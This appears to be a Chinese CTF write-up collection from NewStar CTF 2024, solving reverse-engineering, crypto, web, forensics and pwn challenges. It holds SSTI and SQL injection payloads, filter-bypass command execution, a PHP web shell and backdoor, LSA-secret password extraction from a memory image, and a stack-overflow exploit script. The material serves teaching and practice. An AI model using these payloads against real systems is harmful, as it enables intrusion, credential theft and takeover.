为子进程。
这里可以看到子进程,也就是 else 中使用了 execl
,它提供了一个在进程中启动另一个程序执行的方法,在这里就是启动了当前目录下的 son 文件,然后传递输入的数值 s
作为新进程的参数,同时这里新进程会替换掉之前的子进程,使自身作为父进程的子进程存在。
然后查看替换的子进程的内容,打开 son 文件。找到主函数,发现它这里就是把 s
进行移位操作,然后比对内置的数据 byte_60004020
。
这里的 s = *(char **)(a2 + 4)
,它就是指向上面 father
传入的 s
. 上面 execl 执行的命令为 ./son s
,而对于 son 文件的主函数而言,第一个参数是 a1
表示执行命令参数的个数,这里就是 2,而后面的 a2
真实类型为 const char **argv
,它指向的就是命令的各个参数,因此这里的 a2 + 4
执行的就是第二个参数,也就是 s
.
因此目前可以得知它这里的逻辑就是通过 father
来打开 son,通过执行 son 中的每个字节循环移位来进行变化,最后与密文进行比较得到结果。
然后继续关注 father
中的 ptrace
,ptrace
是用于进程跟踪的,它提供了父进程可以观察和控制其子进程执行的能力,并允许父进程检查和替换子进程的内核镜像(包括寄存器)的值。而这里查看子进程,可以发现使用ptrace(PTRACE_TRACEME, 0, 0, 0);
,它就是允许父进程对自身进行调试的语句,然后在父进程中,使用 PTRACE_POKEDATA
对数据进行修改,然后使用 PTRACE_CONT
让子进程继续执行。因此我们关注的就是父进程对于子进程的什么数据进行了修改。
查看语句 ptrace(PTRACE_POKEDATA, addr, addr, 3);
,它就是对于 addr
所指向的地址修行了数据修改,更改为了 3
,由此点进去发现 addr
指向的就是 0x60004040
位置的数据 。
然后回想起之前 son 文件的内容,找到了相似的地址。由此可以判断这里修改的就是偏移的数值,把这里的 4
在运行的时候改为了 3
。
因此得到了整个程序逻辑,在运行时,父进程会更改子进程中偏移量,然后数据的判断就是通过子进程来进行的,所以这里只需要把子进程中的密文按照偏移 3 进行逆变换即可。
python
enc = [204, 141, 44, 236, 111, 136, 237, 235, 47, 237,174, 235, 78, 172, 44, 141, 141, 47, 235, 109,205, 237, 238, 235, 14, 142, 78, 44, 108, 172,231, 175]
for i in range(len(enc)):enc[i] = (enc[i] << 3 | enc[i] >> 5) & 0xff
print(''.join([chr(e) for e in enc]))
drink_tea
逆向的第一步永远都是先用 DIE 查看文件基本信息,发现无壳,文件为 64 位,用 IDA64 打开
主函数的逻辑很简单,就是先判读输入字符串的长度是否为 32,然后再和 key 进入一个加密函数
而这个加密就是大名鼎鼎的 TEA 算法,以后我们几乎会在所有比赛看到这个算法以及它的变形
解密脚本:
c
#include <stdio.h>
#include <stdint.h>//解密函数
void decrypt (uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], i; uint32_t delta = 2654435769; uint32_t sum = (32)*delta; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for (i = 0; i < 32; i++) { // 解密时将加密算法的顺序倒过来,+= 变为 -=v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);sum -= delta;} v[0] = v0; v[1] = v1; // 解密后再重新赋值
}unsigned char keys[] = "WelcomeToNewStar";
unsigned char cipher[] = { 0x78,0x20,0xF7,0xB3,0xC5,0x42,0xCE,0xDA,0x85,0x59,0x21,0x1A,0x26,0x56,0x5A,0x59,0x29,0x02,0x0D,0xED,0x07,0xA8,0xB9,0xEE,0x36,0x59,0x11,0x87,0xFD,0x5C,0x23,0x24 };
int main()
{unsigned char a;uint32_t *v = (uint32_t*)cipher;uint32_t *k = (uint32_t*)keys;// v 为要加密的数据是 n 个 32 位无符号整数// k 为加密解密密钥,为 4 个 32 位无符号整数,即密钥长度为 128 位for (int i = 0; i < 8; i += 2){decrypt(v + i, k);// printf("解密后的数据:%u %u\n", v[i], v[i+1]);}for (int i = 0; i < 32; i++) {printf("%c", cipher[i]);}return 0;
}
Dirty_flowers
考查内容是花指令,但是事实上新生在 week2 就学过汇编还是不敢奢望,因此实际考查内容是学习怎么用 nop
改汇编指令。
按下 ⇧ ShiftF12 查找字符串就可以发现提示。
提示说将 0x4012f1
~0x401302
的指令全部改成 nop
指令,随后在函数头位置按下 U P.
在此不对这段的花指令再进行解释,自己模拟一遍栈帧操作即可理解。
将从 push eax
到 pop eax
这一段全部 nop 掉。
然后在函数头位置按下 U P,再按下 F5,即可正确反编译。
稍微分析一下,将几个函数重命名一下。在函数名位置处按下 N,进行重命名。
基本思路就是先判断长度是否是 36,再进行加密,最后比较。
点进 check
函数可以找到密文,但是点进加密函数却发现 IDA 再次飘红。
可以很容易发现加密函数里面的花指令与主函数的花指令完全一样。因此再操作一遍即可。
加密函数非常简单。
python
# exp.py
lis = [0x02, 0x05, 0x13, 0x13, 0x02, 0x1e, 0x53, 0x1f, 0x5c, 0x1a, 0x27, 0x43, 0x1d, 0x36, 0x43,0x07, 0x26, 0x2d, 0x55, 0x0d, 0x03, 0x1b, 0x1c, 0x2d, 0x02, 0x1c, 0x1c, 0x30, 0x38, 0x32,0x55, 0x02, 0x1b, 0x16, 0x54, 0x0f]
str = "dirty_flower"
flag = ""
for i in range(len(lis)):lis[i] ^= ord(str[i % len(str)])flag += chr(lis[i])
print(flag)
# flag{A5s3mB1y_1s_r3ally_funDAm3nta1}
你能在一秒内打出八句英文吗
经典脚本题,思路:先获取页面中需要输入的英文文本,再提交你获得的的文本。
这里推荐模拟 POST 请求,直接来看 EXP:
python
import requests
from bs4 import BeautifulSoupsession = requests.Session()url = "http://127.0.0.1/start"
response = session.get(url)if response.status_code == 200:soup = BeautifulSoup(response.text, 'html.parser')text_element = soup.find('p', id='text')if text_element:value = text_element.get_text()print(f"{value}")submit_url = "http://127.0.0.1/submit"payload = {'user_input': value}post_response = session.post(submit_url, data=payload)print(post_response.text)
else:print(f"{response.status_code}")
requests
库可以很方便的进行会话控制,BeautifulSoup
可以帮你快速定位文本位置。剩下就是 POST 请求 + 打印回显。
当然,解法很多,你也可以使用 Selenium
等库模拟浏览器操作,又或者装一些浏览器插件凭手速把文本直接复制过去再提交,随你喜欢。
遗失的拉链
拉链的英文是 zip,这里也是考的 www.zip
泄露
可以看到存在 www.zip
泄露,访问后下载、解压得到源代码
pizwww.php
内容如下:
php
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){//欸 为啥sha1和md5相等呢$cmd = $_POST['cmd'];if (preg_match("/cat|flag/i", $cmd)) {die("u can not do this ");}echo eval($cmd);}else{echo "Wrong";}
}
PHP 中使用这些函数处理数组的时候会报错返回 NULL
从而完成绕过
命令执行过滤了 cat
,使用 tac
代替。flag
被过滤,使用 fla*
通配符绕过
或者这样:cmd=echo file_get_contents("/fla"."g");
复读机
可以看到,输入什么就输出什么
输入 {{ 7*7 }}
的时候,输出的结果是 49,说明存在 SSTI 注入
输入 {{ [].__class__}}
,发现 bot 显示不喜欢上课,说明 class
被过滤了,可以使用简单的拼接绕过
python
{{'{'+`{[]['__cl'+'ass__']}`+'}'}}
得到 list
类
后面就是基本的注入方法了
获取 object
类
python
{{()['__cl'+'ass__']['__base__']}}
{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']}}
找一个可以利用的类,这里选用 os._wrap_close
python
{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__'][132]}}
然后就是拿到 eval
方法,命令执行就行
python
{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
方法很多,大家可以自己试试
PangBai 过家家(2)
题目所给出的提示是文件泄露(其实用 dirsearch 等扫描工具也可以扫描到 .git 目录)。
使用 GitHacker 工具从 .git 文件夹中泄露文件到本地。
关于 GitHacker
GitHacker 工具可快速使用 pip 安装:
bash
pip install githacker
随后进入 output 文件夹,可以看到恢复的网站源码:
可以使用 git 命令查看当前项目的信息,比如使用 git log
查看提交历史
使用 git reset HEAD~1
可以回到上一个 Commit,或者直接使用 VSCode 打开泄露出来的 Git 存储库,能够更可视化地查看提交历史。
但是很遗憾,提交历史中并没有有价值的东西。查看 Stash:
bash
git stash list
可以看到 Stash 中含有后门(实际上在 GitHacker 泄漏时就有 stash 的输出信息)
注意
如果使用 GitHack 或其它的一些 Git 泄露获取工具,可能并不支持恢复 Stash.
Stash 的作用
有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用 git stash
命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用 git stash pop
则可以将之前存储的内容重新恢复到工作区。
又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。
一些常见的 Stash 命令如:
-
git stash
保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行
git status
命令,就会发现当前是一个干净的工作区,没有任何改动。使用git stash save '一些信息'
可以添加一些注释。 -
git stash pop [-index] [stash_id]
从 Stash 中释放内容,默认为恢复最新的内容到工作区。
使用 git stash pop
恢复后门文件到工作区。
发现了后门文件 BacKd0or.v2d23AOPpDfEW5Ca.php
,访问显示:
由于 git stash pop
已经将文件释放了出来,我们可以直接查看后门的源码:
php
<?php# Functions to handle HTML outputfunction print_msg($msg) {$content = file_get_contents('index.html');$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);$content = preg_replace('/ event/', '', $content);$content = str_replace('点击此处载入存档', $msg, $content);echo $content;
}function show_backdoor() {$content = file_get_contents('index.html');$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);echo $content;
}# Backdoorif ($_POST['papa'] !== 'TfflxoU0ry7c') {show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {print_msg('PangBai loves you!');call_user_func($_POST['func'], $_POST['args']);
} else {print_msg('PangBai hates you!');
}
后面的考点是 PHP 中关于非法参数名传参问题。我们重点关注下面这个表达式:
php
$_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])
对于这个表达式,可以使用换行符绕过。preg_match
默认为单行模式(此时 .
会匹配换行符),但在 PHP 中的该模式下,$
除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。
拓展
如果加 D
修饰符,就不匹配换行符:
php
preg_match('/^Welcome$/D', "Welcome\n")
但如果直接传参 NewStar_CTF.2024=Welcome%0A
会发现并没有用。这是由 NewStar_CTF.2024
中的特殊字符 .
引起的,PHP 默认会将其解析为 NewStar_CTF_2024
. 在 PHP 7 中,可以使用 [
字符的非正确替换漏洞。当传入的参数名中出现 [
且之后没有 ]
时,PHP 会将 [
替换为 _
,但此之后就不会继续替换后面的特殊字符了因此,GET 传参 NewStar[CTF.2024=Welcome%0a
即可,随后传入 call_user_func
的参数即可。
最后更新于: 2024年10月16日 09:53
谢谢皮蛋 plus
同样还是联合注入,意在考查空格和 and
的绕过,为了避免直接使用报错注入得到 flag,将报错注入 ban 了
php
preg_match_all("/ |extractvalue|updataxml|and/i",$id)
值得注意的一个点是,这题是双引号闭合,如果没有细心的检查会误以为是单引号闭合
双引号中带有单引号也可以执行成功,属于 MySQL 的一种特性,可以自行尝试一下
and
使用 &&
替换,空格使用 /**/
替换,其他就是一样的操作了
查询当前数据库
sql
-1"/**/union/**/select/**/1,database()#
查询所有表名
sql
-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/database()#
查询所有列名
sql
-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'Fl4g'/**/&&/**/table_schema/**/=/**/database()#
得到flag
sql
-1"/**/union/**/select/**/group_concat(des),group_concat(value)/**/from/**/Fl4g#
这是几次方? 疑惑
题目
题目描述如下
^ w ^
^ 小猫的眼睛在 Python 里面到底是什么意思?不如先看看大蟒蛇运算符号的优先级吧
题目代码如下
python
from Crypto.Util.number import *flag = b'flag{*****}'
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537m = bytes_to_long(flag)
c = pow(m, e, n)hint = p^e + 10086print("c =", c)
print("[n, e] =", [n, e])
print("hint =", hint)
'''
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
[n, e] = [124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261, 65537]
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390
'''
出题思路:之前有遇到过运算符优先级的易错点,便拿来出题,异或运算符是先计算两边再进行异或的
解析
结合题目描述,在网上搜索并用 AI 解读描述
在 Python 中异或先计算两边,再进行异或操作
EXP
python
from Crypto.Util.number import *
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
n, e = 124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261, 65537
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390p = hint ^ e + 10086
q = n // p
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m).decode())
# flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}
Since you konw something
题目代码如下
python
from pwn import xor
# The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_longkey = ?? # extremely short
FLAG = 'flag{????????}'
c = bytes_to_long(xor(FLAG,key))print("c={}".format(c))'''
c=218950457292639210021937048771508243745941011391746420225459726647571
'''
又是简单的签到题,出现了上周的老朋友 xor()
此题注释非常重要,希望新生能够充分地利用泄露的信息,即 flag 的前一部分
这道题可以关注的地方是 flag 的格式是明确的 flag{
开头,结合注释,key
极短,直接把 c
和 flag{
异或一下看看
python
from pwn import xor
from Crypto.Util.number import long_to_bytesflag_head = 'flag{'
c=218950457292639210021937048771508243745941011391746420225459726647571
guess_key = xor(long_to_bytes(c), flag_head)
print(guess_key)
# b"nsnsnL2gVcf/xKa}1MQ8z@m'aa1`t"
可以看到,key
的前一部分是重复的 ns
,不难猜测 key 就是 ns
python
from pwn import xor
from Crypto.Util.number import long_to_bytes
c=218950457292639210021937048771508243745941011391746420225459726647571
key='ns'
flag = xor(long_to_bytes(c),key)
print(flag)
# b'flag{Y0u_kn0w_th3_X0r_b3tt3r}'
希望大家都能签到成功喵 ~
just one and more than two
很常见的 RSA 板子题。在一般的 RSA 中,我们有
φ(n)=φ(p)∗φ(q)=(p−1)(q−1)
如果你不知道,那就再回去温习一下 Week 1 中对于 RSA 的相关知识
针对 just one 的情况:
φ(n)=φ(p)=p−1
针对 more than two 的情况:
φ(n)=φ(p)∗φ(q)∗φ(r)=(p−1)(q−1)(r−1)
其他和普通 RSA 一样解即可
实际上还会有其他情况,只要大家对欧拉函数有足够的了解,这类问题一定可以迎刃而解的
python
from Crypto.Util.number import *
p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
e=65537phi_1 = p-1
d1 = inverse(e, phi_1)
m1 = pow(c1, d1, p)phi_2 = (p-1)*(q-1)*(r-1)
d2 = inverse(e, phi_2)
m2 = pow(c2, d2, p*q*r)print(long_to_bytes(m1)+long_to_bytes(m2))
# b'flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}'
茶里茶气
简单的 TEA(Tiny Encryption Algorithm)加密算法
只需要逆推一下过程,然后把字符串拼接在一起转成字符即可
对于 v2
这个变量,先进行正推得到最终值,再倒退进行解密(数量级不大,使用乘法和加法都可以)
注意每一步都要取模
python
v2 = 0
delta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
l = 199
p = 446302455051275584229157195942211
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480for i in range( 32 ):v2 += delta ; v2 %= pfor i in range(32):v2 -= delta ; v2 %= pv0 -= (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= pv1 -= (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= pa = hex((v0<<((l//2))) + v1)[2:]flag = ""
for i in range(0,len(a),2):flag += chr(int(a[i]+a[i+1],16))print(flag)
# flag{f14gg9_te2_1i_7ea_7}
wireshark_checkin
这么多数据包,先快速找到主要部分。
标绿色的是http协议相关的,鼠标左键点击 GET /reverse.c
这个条目,看 Wireshark 界面左下角,写着一个 Port: 7070
,这个是 HTTP 服务器的开放端口。
接下来点击最上面的搜索框,输入 tcp.port == 7070
,这样就可以快速过滤出所有有关这个端口的 TCP 报文
TIP
HTTP 协议是建立在 TCP 协议之上的,这里的 tcp.port == 7070
是过滤出所有有关这个端口的 TCP 报文,而 HTTP 在这个端口之上,因此也相当于过滤出了所有有关这个端口的 HTTP 报文。
这样变得好看多了,但是还不够清晰,因为这里包含了所有有关这个端口的 TCP/HTTP 请求和响应,假如只想看其中一个 HTTP 请求的流程:看 GET /flag.txt
这个条目
有一个 Src port: 33751
,所以过滤器写 tcp.port == 33751
,因为同一个 HTTP 请求和响应的客户端用的是同一个端口。这样就能只看有关 flag.txt
的这次请求和响应的所有过程。
这就是 3 次握手和四次挥手。
关于 TCP 的 3 次握手和 4 次挥手
3 次握手
CLOSECLOSE客户端服务端SYN_SENTLISTENSYN=1, seq=u请求建立连接SYN_RCVDESTABLISHEDESTABLISHEDACK=1seq=u+1, ack=v+1针对服务器端的SYN的确认应答SYN=1, ACK=1ack=u+1, seq=v针对客户端的SYN的确认应答并请求建立连接
4 次挥手
ESTABLISHEDESTABLISHED客户端服务端FIN_WAIT_1FIN=1seq=u请求断开连接ACK=1seq=v, ask=u+1针对客户端的FIN的确认应答CLOSE_WAITCLOSECLOSEFIN=1,ACK=1seq=w, ask=u+1请求断开连接FIN_WAIT_2LAST_ACKACK=1seq=u+1, ack=w+1针对服务端的FIN的确认应答TIME_WAIT2MSL数据传输
但是下面这个,只有一个 FIN,怎么回事?
因为还有一个 FIN 在 HTTP/1.1
这里面,发送完响应后,就立刻第一次挥手了。
flag 在右下角。
wireshark_secret
学会怎么从一个 HTTP 响应的流量中导出图片。
点击 secret.png
这个数据包。
左下角找到 File Data 这个字段,右键,点击导出分组字节流,然后文件保存为 PNG,就可以打开图片了。
你也玩原神吗?
题目描述如下
如果你玩原神,那么你看得懂这些提瓦特文字吗?
打开附件,发现 GIF 有白色一闪而逝
可以利用一些网站或工具分离 GIF 的帧,可以发现某一帧是特殊字符
联系题目描述,找到提瓦特文字对照表
左下角文字解密后是 doyouknowfence
,提示是「栅栏密码」,右下角文字就是密文
用栅栏密码解密工具解出来,得到 flag
其实可以肉眼看出来,提瓦特字母一般是反转了 180° 的艺术字(我知道你肯定能用这个做出来,因为——你也玩原神!)
字里行间的秘密
题目描述为:
我横竖睡不着,仔细看了半夜,才从字缝里看出字来
打开附件,一个名为 flag 的 Word 文件,一个 key.txt
.
Word 文件被加密,打开 key.txt
,文字有明显的水印特征,放到 vim 或 VSCode 就能看出存在零宽隐写,放到在线网站默认参数,可以拿到 key it_is_k3y
.
然后打开 Word 发现没有flag,但 ^ CtrlA 全选发现第二行还是有内容的,将字体改为黑色就可发现 flag.
热心助人的小明同学
拟定难度:简单
出题人:Lufiende
题目简介:
小明的邻居小红忘记了电脑的登录密码,好像设置的还挺复杂的, 现在小红手里只有一个内存镜像(为什么她会有这个?),小明为了帮助邻居就找到了精通电脑的你……
拿到手的是一个叫 image.raw
的文件,由题可知是内存镜像。
不像预期的预期解:使用 Volatility 2 一把梭
什么是 Volatility?这是取证里一个很好用的工具,目前主流的有 2 和 3 两个版本,主流平台都可以使用,其中 Kali 如果进行了完整安装的话应该是自带这个软件的,如果没有 Kali Linux 的话可以前往官网下载。
如果新人在安装过程中出现了一些问题,也没有 Kali 虚拟机,可以先尝试 Windows 下的 Volatility 2 单文件版,当然大家也可以选择其他第三方取证软件,这里不多说了,因为一些第三方软件能一把梭。
这里以 Volatility 2 为例,在使用 Volatility 2 进行取证时,首先分析镜像确定镜像的来源操作系统版本,为进行下面操作做准备。
bash
vol.py -f image.raw imageinfo
可知建议选择的操作系统版本有:Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86. 这里选择第一个(Win7SP1x86_23418)进行尝试,反正不行就试试别的。
确定系统版本后就开始研究怎么拿到密码了,由于简介说过密码「好像设置的还挺复杂的」,又让找出密码明文,爆破是不现实的,在 Volatility 2 和密码明文有关的还有 lsadump,直接梭。
开头的 0x48
并不是密码,你可以理解为是一个标志,除开这个你就能得到系统密码:ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh
.
为降低难度,随题目附件的文档强调了:
flag格式为:flag{你找到的系统登录密码}
如果选手感觉自己的解题过程是正确的,请确保 flag 括号内的内容是开机时需要输入的登录密码
# 怕大家没有解密的想法于是就没摆上来
所以 flag 为 flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}
没有意识到一把梭做法怎么办
关于 lsadump 的使用虽然在充分搜索之后能 get 到,但考虑到新人不容易 get,于是把提示留在桌面了。
bash
vol.py -f image.raw --profile=Win7SP1x86_23418 filescan | grep Desktop | grep Users
发现有可疑文件,Diary.txt
和 Autologon.exe
,使用相关命令提取 Diary.txt
:
bash
vol.py -f image.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000000f554bf80 --dump-dir=./
提取文件内容为
plaintext
I think it's too tiring to enter a complex password every time I log in,
so it would be nice if I could log in automatically
结合 Autologon.exe
了解机主可能使用自动登录,通过必应搜索就可以在第一页打开 Microsoft 官方文档。
其中「LSA 机密加密」是希望大家可以注意到了(出题人在必应搜索「ctf lsa 提取密码」是可以找到 lsadump 的使用的),提示使用 lsadump.
LSA Secrets 是一个注册表位置,存了很多重要的东西,只有 SYSTEM 帐户可以访问 LSA Secrets 注册表位置,在 HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
.
lsass.exe
负责访问和管理 LSA Secrets,当系统需要进行身份验证或访问存储的安全信息时,lsass 进程会从注册表中检索 LSA Secrets,并解密这些信息来完成任务,存密码的叫 DefaultPassword ,也是我们要看的。
有人试过 mimikatz 的插件和 lsass.exe dump,不过这两种方式似乎是通过 wdigest(我其实云了好像是使用的系统不再会自动打开这个所以使用这种方法看不见东西),而且 mimikatz 工具渗透的话很不错,好像取证不大用。
Volatility 3 需要注意的
Volatility 3 在使用 lsadump 时会把前面不属于密码的 H
带进来。
命令为:
bash
python vol.py -f image.raw windows.lsadump.Lsadump
用溯流仪见证伏特台风
题目描述如下
漂亮国也干了。照着 2024 年 7 月 8 日央视新闻的方法来看看隐匿在图片下的东西吧。
新闻视频:https://b23.tv/BV1Ny411i7eM
新闻中提到的威胁盟报告里,隐藏在图片下,Domain 下方那个框里所有字符的 16 位小写 MD5,包裹 flag{} 即为 flag.
提示:这个视频就是 WP;运气不好的话,你也许需要使用溯流仪(网站时光机)。
PS:如果你眼力好,肉眼能从视频读出来,也是你的水平。祝你玩得开心。
第一步,打开新闻视频的链接
根据视频,我们获得以下信息:
- 所需报告:The Rise of Dark Power...
- 对应版本:最初 4 月 15 日版本
- 现状:所需信息已经被篡改
我们直接搜索报告名称
可以看到我们需要的 PDF 文件,但是视频中又提到报告内容已经被篡改
所以现版本肯定是没有我们所需的信息的
出题人之前运气好,搜到过可以直接下载的原始版本 PDF,直接就可以开做。
但运气不好怎么办呢?我们请出我们的网站时光机—— wayback machine.
输入官网链接,启动溯流仪,正好有 4 月 15 日的版本。
下载文件,剩下的内容就和视频中演示的一样了。
移开封底图片,拿到 Domain 框里的东西,然后 MD5,
当然,你要是能用肉眼直接把视频里的模糊信息读出来,出题人也认了。
包上 flag,得到 flag{6c3ea51b6f9d4f5e}
.
Herta's Study
本题考点:PHP 混淆,流量分析
建议配合 unknown 师傅的前两道流量题食用
第七条流量是上传的 PHP 木马
php
<?php$payload=$_GET['payload'];$payload=shell_exec($payload);$bbb=create_function(base64_decode('J'.str_rot13('T').'5z'),base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRpKz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQogICAgfQ0KfQ0KcmV0dXJuICRuczs=='));echo $bbb($payload);
?>
可以搜索一下 create_funtion()
函数,解除混淆后得到加密代码
php
$ns = base64_encode($ns);
for ($i = 0; $i < strlen($ns); $i += 1){if ($i % 2 == 1) {$ns[$i] = str_rot13($ns[$i]);}
}
return $ns;
就是 Base64 后把奇数位 ROT13
解码反过来就行(第38条,f.txt
里的是真 flag,另一个是假 flag)
php
<?php
$ns = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
for ($i = 0; $i < strlen($ns); $i += 1){if ($i % 2 == 1) {$ns[$i] = str_rot13($ns[$i]);}
}
echo base64_decode($ns);
// flag{sH3_i4_S0_6eAut1fuL.}
?>
不思議なscanf
c
int __fastcall main(int argc, const char **argv, const char**envp)
{int v3; // eaxint i; // [rsp+Ch] [rbp-24h]_DWORD v6[6]; // [rsp+10h] [rbp-20h] BYREFunsigned__int64 v7; // [rsp+28h] [rbp-8h]v7 = __readfsqword(0x28u);initial(argc, argv, envp);puts(aGgggggggggeeee);for ( i = 0; i <= 15; ++i ){printf(format);v3 = i;__isoc99_scanf(&unk_4047FA, &v6[v3]);}puts("銉愩偆銉愩偆");return 0;
}
程序定义了一个 int 类型的数组,并利用 for 循环用 scanf 向数组读入内容
但是 for 循环的次数是 16 次,已经超出了数组定义的范围,造成了数组越界
所以我们最终的目的就是利用这个数组越界修改 main
函数的返回地址
TIP
scanf` 时使用的参数 `%d
正常输入时,输入为范围在 [−231,232−1] 内的整数。
如果输入范围在 [−263,263−1] 内的整数,则会截断高位读取,此范围是 long long int
的范围。
如果输入范围在 long long int
范围之外,则统一将参数赋值为 −1(0xFFFFFFFF)
如果输入为非数字,分为下列情况:
- 如果输入仅有一个,则该输入无效,该值不变;
- 如果输入有数字前缀(如
12345abcd
),则scanf
仅会读取前面的数字,从第一个非数字开始,后面全部舍弃(12345
); - 如果输入有多个且使用一个
scanf
语句(如scanf("%d, %d", &a, &b)
),输入第一个非数字后,后面的所有输入均为无效,前面的输入可以赋值; - 如果输入有多个且使用多个
scanf
语句(含循环,即一个scanf
中仅有一个输入),则输入非数字时,如果输入的不是+
或-
,则后面紧跟的所有scanf
均自动跳过,变为无效,不能输入。如果输入的+
或-
,则会跳过当前输入,后面仍然可以进行输入。
摘抄自:以 Pwn 视角看待 C 函数 —— scanf
这里我们需要利用 scanf
多次输入的特性,通过输入字符 +
来跳过对 Canary 的修改,进而直接修改返回地址为后门地址。
python
#!/usr/bin/env python3
from pwn import *context(log_level='debug', arch='amd64', os='linux')s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)p = process('./pwn')
elf = ELF('./pwn')for _ in range(10):ru('わたし、気になります!')sl(b'+')ru('わたし、気になります!')
sl(str(0x401240))
ru('わたし、気になります!')
sl(str(0))for _ in range(4):ru('わたし、気になります!')sl(b'+')p.interactive()
One Last B1te
先查保护和沙箱:
asm
[*] '/home/?????/PWN/NewStar2024-test/hackgot/pwn'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x3fe000)SHSTK: EnabledIBT: EnabledStripped: Noline CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 00090002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 00050004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 00090005: 0x15 0x03 0x00 0x00000028 if (A == sendfile) goto 00090006: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 00090007: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 00090008: 0x06 0x00 0x00 0x7fff0000 return ALLOW0009: 0x06 0x00 0x00 0x00000000 return KILL
